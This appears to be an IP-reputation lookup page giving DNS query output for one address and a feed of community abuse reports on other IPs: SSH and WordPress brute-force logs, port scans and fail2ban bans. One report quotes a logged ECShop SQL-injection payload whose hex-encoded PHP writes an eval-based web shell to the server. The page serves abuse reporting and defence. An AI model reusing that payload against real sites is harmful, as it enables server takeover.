Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: United States of America (the)

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 21.133.42.100
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 47265
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;21.133.42.100.			IN	A

;; AUTHORITY SECTION:
.			30	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2025012400 1800 900 604800 86400

;; Query time: 16 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sat Jan 25 00:21:10 CST 2025
;; MSG SIZE  rcvd: 106
Host info
Host 100.42.133.21.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 100.42.133.21.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
104.238.73.216 attackspambots
diesunddas.net 104.238.73.216 \[04/Nov/2019:09:50:28 +0100\] "POST /wp-login.php HTTP/1.1" 200 8411 "-" "Mozilla/5.0 \(X11\; Ubuntu\; Linux x86_64\; rv:62.0\) Gecko/20100101 Firefox/62.0"
diesunddas.net 104.238.73.216 \[04/Nov/2019:09:50:30 +0100\] "POST /wp-login.php HTTP/1.1" 200 8411 "-" "Mozilla/5.0 \(X11\; Ubuntu\; Linux x86_64\; rv:62.0\) Gecko/20100101 Firefox/62.0"
2019-11-04 20:37:59
202.71.14.40 attackbotsspam
Automatic report - Banned IP Access
2019-11-04 20:26:17
175.5.138.200 attackspam
Fail2Ban - FTP Abuse Attempt
2019-11-04 20:05:03
41.33.178.202 attackbots
Nov  4 07:35:37 thevastnessof sshd[31343]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=41.33.178.202
...
2019-11-04 20:35:15
218.65.230.163 attack
2019-11-04T11:43:14.050324abusebot-5.cloudsearch.cf sshd\[14606\]: Invalid user butthead from 218.65.230.163 port 60001
2019-11-04 19:58:45
51.77.231.161 attackbots
Nov  4 11:13:11 markkoudstaal sshd[31164]: Failed password for root from 51.77.231.161 port 48610 ssh2
Nov  4 11:14:41 markkoudstaal sshd[31309]: Failed password for root from 51.77.231.161 port 54528 ssh2
2019-11-04 20:34:02
159.65.202.125 attackbotsspam
Nov  4 11:39:33 thevastnessof sshd[3487]: Failed password for root from 159.65.202.125 port 38588 ssh2
...
2019-11-04 20:14:41
82.148.97.167 attackspambots
Port Scan: TCP/25
2019-11-04 20:15:15
200.225.230.149 attackspambots
Port 1433 Scan
2019-11-04 20:05:25
46.101.1.19 attack
fail2ban honeypot
2019-11-04 20:02:41
106.13.45.131 attackspam
SSH Brute-Force reported by Fail2Ban
2019-11-04 20:00:30
66.249.64.212 attackspambots
Automatic report - Banned IP Access
2019-11-04 20:01:03
169.56.17.185 attack
$f2bV_matches
2019-11-04 20:19:15
23.228.90.14 attack
23.228.90.14 - - [04/Nov/2019:06:05:30 -0500] "GET /user.php?act=login HTTP/1.1" 301 252 "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:288:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A325A6B5A334575634768774A79776E50443977614841675A585A686243676B583142505531526262475678645630704F79412F506963702729293B2F2F7D787878,10-- -";s:2:"id";s:3:"'/*";}" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)"
...
2019-11-04 20:07:13
39.75.239.39 attackbotsspam
Automatic report - Port Scan
2019-11-04 20:27:32

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